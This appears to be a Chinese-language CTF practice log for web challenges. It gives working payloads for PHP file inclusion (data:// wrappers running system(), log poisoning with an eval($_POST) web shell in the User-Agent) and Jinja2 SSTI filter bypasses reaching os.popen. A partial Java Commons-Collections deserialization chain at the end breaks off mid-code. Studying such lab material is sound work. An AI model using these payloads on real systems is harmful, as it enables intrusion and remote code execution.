一些做题记录
文件包含部分:
web78
无任何过滤:
1
| ?file=php://filter/convert.base64-encode/resource=flag.php
|
web79
过滤了php,直接读文件是不行了,考虑data
伪协议执行命令(base64编码):
1 2
| ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= //<?php system('cat flag.php');
|
或者:
1
| ?file=data://text/plain,<?=`tac f*`;?>
|
就是利用php
里的短标签。<?= ?>
相当于<?php echo ?>
另外str_replace
是区分大小写的:
1 2 3 4 5 6 7 8 9
| <?php $file = "phpPHPpHpPhP"; $file1 = str_replace("php", "???", $file); echo $file1; echo '----------------'; $file2 = str_ireplace("php", "???", $file); echo $file2; ?>
|
所以解法还有:
1 2 3
| ?file=Php://input
POST执行的数据
|
web80
过滤了data
和php
的大小写。。这里要用远程包含/日志包含:
日志包含
个人理解就是通过include
和日志文件中的特定内容配合(include把啥东西都当php读)
日志文件常见路径:
1 2 3
| /var/log/apache/access.log /var/log/nginx/access.log /var/log/nginx/error.log
|
只有第二个有正常的回显:
存在UA
头,所以直接把UA
头修改成:
1.<?php system('ls');?>
,<?php system('cat fl0g.php');?>
传过去再刷新下网页就行
2.<?php @eval($_POST['a']); ?>
a=system('cat fl0g.php');
web81
比之前多了个:
,还是上一题的日志包含(主要是禁了input那个方法)。
web82
web88
/i
模式匹配的大小写,=
也被过滤了。这里还是用79
那里的data
伪协议执行命令:
1 2 3 4
| PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4= <?php system('tac fl0g.php'); ?> ?file=data:
|
SSTI部分:
web361
无任何过滤:
1
| ?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
|
web362
同上:
1
| ?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
|
web363
应该是过滤了单引号双引号:
头要么用config
,要么用()
,过滤了引号可以(这个单双引号好像没法用十六进制去表示):
把之前payload
中带引号的都放到request.args.path
中就行:
1
| ?name={{config.__class__.__init__.__globals__[request.args.x1].popen(request.args.x2).read()}}&x1=os&x2=cat /flag
|
web364
应该是在上题的基础上过滤了args
,搜了下还可以用cookie传值
:
参考文章
1 2 3 4
| payload ?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}} cookie传值 Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
|
这个x当开头第一次见:
config
的话类中__init__函数全局变量中已经导入了”os”模块,可以直接调用。
1 2 3
| ?name={{config.__class__.__init__.__globals__[request.cookies.x1].popen(request.cookies.x2).read()}} //hackbar直接传: Cookie: x1=os;x2=cat /flag //Cookie不用加
|
web365
在之前的基础上过滤了中括号:
__getitem__
方法是 Python 对象的一个内建方法,当你使用中括号 []
来访问对象的元素时,实际上是调用了这个方法。
对于字典来说,使用 __getitem__
方法,你可以这样获取字典中的键值:
1 2 3
| my_dict = {'key1': 'value1', 'key2': 'value2'} result = my_dict.__getitem__('key1') print(result)
|
所以:
1 2 3
| ?name={{config.__class__.__init__.__globals__.__getitem__(request.cookies.x1).popen(request.cookies.x2).read()}} //hackbar直接传: Cookie: x1=os;x2=cat /flag //Cookie不用加
|
web366
过滤了下划线:
参考文章
使用 foo|attr("bar")
可以获取对象 foo
的属性 bar
的值,类似于 foo.bar
的用法。
所以:
1 2 3
| ?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()
|
简单说还是利用请求参数进行逃逸
web367
同上
web368
又过滤了双大括号,但{%%}
这东西并没有过滤。
参考文章
不过注意要加上print
,不然只会执行命令,没回显。在上一题基础上修改就行:
1 2 3
| /?name={%print((x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5))%}
Cookie:x1=__init__
|
还有其它解法(其实就是把上面的拆开了:
1 2 3
| name={%set aaa=(x|attr(request.cookies.in)|attr(request.cookies.gl)|attr(request.cookies.ge))(request.cookies.bu)%}{% print(aaa.eval(request.cookies.cmd))%}
in=init;gl=globals;ge=getitem;bu=builtins;cmd=import('os').popen('cat /f*').read()
|
web369
又过滤了request
,直接抄了yu师傅的:
1 2 3 4 5 6 7 8 9 10 11
| ?name= {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(24)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} {%print(x.open(file).read())%}
|
反序列化部分
web254
组件漏洞
web580
危险方法:transform(value)
invokerTransform.transform(object)可利用反射调用任意方法
现在寻找调用transform方法的其它函数:
checksetvalue:
1 2 3 4
| protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }
|
valueTransformer:
1 2 3 4 5 6
| protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
|
TransformedMap
的构造方法作用域是 protected
,我们还需要去找一找谁调用了 TransformedMap
的构造方法
1 2 3
| public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
|
这里new了一个transformedmap,肯定调用了构造方法。注意这个构造方法是静态的,然后接受三个参数:
1
| map map, Transformer keyTransformer, Transformer valueTransformer
|
现在写个简单链子:
Transformedmap.decorate(map,null,invokerTransform)
遍历被修饰的map即可走到被修饰的方法
走到setvalue方法就会走到checksetvalue
所以遍历刚才那个Transformedmap就会走到Transformedmap底下的checksetvalue
1 2 3 4 5 6 7 8 9 10 11
| public class Test01 { public static void main(String[] args) throws Exception{ Class runtime = Runtime.class; Method m1 = runtime.getDeclaredMethod("getRuntime"); Runtime run1 = (Runtime)m1.invoke(null,null); Method m2 = runtime.getDeclaredMethod("exec", String.class, String[].class); m2.invoke("run1","calc");
|
1
| Method runtimeMethod = (Method) new InvokerTransformer()
|